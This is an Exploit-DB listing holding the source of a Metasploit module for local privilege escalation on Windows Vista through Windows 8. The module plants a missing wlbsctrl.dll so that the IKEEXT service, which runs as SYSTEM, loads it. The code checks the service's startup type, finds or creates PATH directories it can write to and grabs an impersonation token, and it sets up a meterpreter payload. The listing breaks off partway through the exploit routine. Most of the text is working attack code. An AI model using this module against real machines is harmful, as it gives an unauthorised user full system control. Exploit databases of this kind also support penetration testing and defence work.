Exploit-DB #28130
Description: IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) - Missing DLL (Metasploit)
Type: local
Platform: windows
Date: 2013-09-06
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Accounts

  def initialize(info={})
    super( update_info( info,
      'Name'     => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
      'Description'   => %q{
        This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
        (IKEEXT) service which runs as SYSTEM, and starts automatically in default
        installations of Vista-Win8.
        It requires an insecure bin path to plant the DLL payload.
      },
      'References'   =>
        [
          ['URL', 'https://www.htbridge.com/advisory/HTB23108'],
          ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
        ],
      'DisclosureDate' => "Oct 09 2012",
      'License'   => MSF_LICENSE,
      'Author'   =>
        [
          'Ben Campbell <eat_meatballs@hotmail.co.uk>'
        ],
      'Platform'   => [ 'win'],
      'Targets'   =>
        [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
        ],
      'SessionTypes'   => [ "meterpreter" ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'ReverseConnectRetries' => 255
        },
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
    ])
    @service_name = 'IKEEXT'
    @load_lib_search_path = [  '%SystemRoot%\\System32',
            '%SystemRoot%\\System',
            '%SystemRoot%'
          ]
    @non_existant_dirs = []
  end

  def check_service_exists?(service)
    srv_info = service_info(service)

    if srv_info.nil?
      print_warning("Unable to enumerate services.")
      return false
    end

    if srv_info && srv_info['Name'].empty?
      print_warning("Service #{service} does not exist.")
      return false
    else
      return true
    end
  end

  def check
    srv_info = service_info(@service_name)

    if !check_service_exists?(@service_name)
      return Exploit::CheckCode::Safe
    end

    vprint_status(srv_info.to_s)

    case srv_info['Startup']
    when 'Disabled'
      print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Manual'
      print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
      return Exploit::CheckCode::Safe
    when 'Auto'
      print_good("Service is set to Automatically start...")
    end

    if check_search_path
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Vulnerable
  end

  def check_search_path
    dll = 'wlbsctrl.dll'

    @load_lib_search_path.each do |path|
      dll_path = "#{expand_path(path)}\\#{dll}"

      if file_exist?(dll_path)
        print_warning("DLL already exists at #{dll_path}...")
        return true
      end
    end

    return false
  end

  def check_system_path
    print_status("Checking %PATH% folders for write access...")
    result  = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')

    if result.nil?
      print_error("Unable to retrieve %PATH% from registry.")
      return
    end

    paths = result.split(';')
    paths.append(@load_lib_search_path).flatten!.uniq!

    paths.each do |p|
      path = expand_path(p)
      if exist?(path)
        if check_write_access(path)
          return path
        end
      else
        # User may be able to create the path...
        print_status("Path #{path} does not exist...")
        @non_existant_dirs << path
      end
    end

    return nil
  end

  def check_write_access(path)
    perm = check_dir_perms(path, @token)
    if perm and perm.include?('W')
      print_good ("Write permissions in #{path} - #{perm}")
      return true
    elsif perm
      vprint_status ("Permissions for #{path} - #{perm}")
    else
      vprint_status ("No permissions for #{path}")
    end

    return false
  end

  def check_dirs
    print_status("Attempting to create a non-existant PATH dir to use.")
    @non_existant_dirs.each do |dir|
      begin
        client.fs.dir.mkdir(dir)
        if exist?(dir)
          register_file_for_cleanup(dir)
          return dir
        end
      rescue  Rex::Post::Meterpreter::RequestError => e
        vprint_status("Unable to create dir: #{dir} - #{e}")
      end
    end

    return nil
  end

  def check_session_arch
    if sysinfo['Architecture'] =~ /x64/i
      if payload_instance.arch.first == 'x86'
        fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
      end
    else
      if payload_instance.arch.first =~ /64/i
        fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
      end
    end
  end

  def exploit
    check_session_arch

    begin
      @token = get_imperstoken
    rescue Rex::Post::Meterpreter::RequestError
      vprint_error("Error while using get_imperstoken: #{e}")
    end

    fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token

    if is_system?
      fail_with(Exp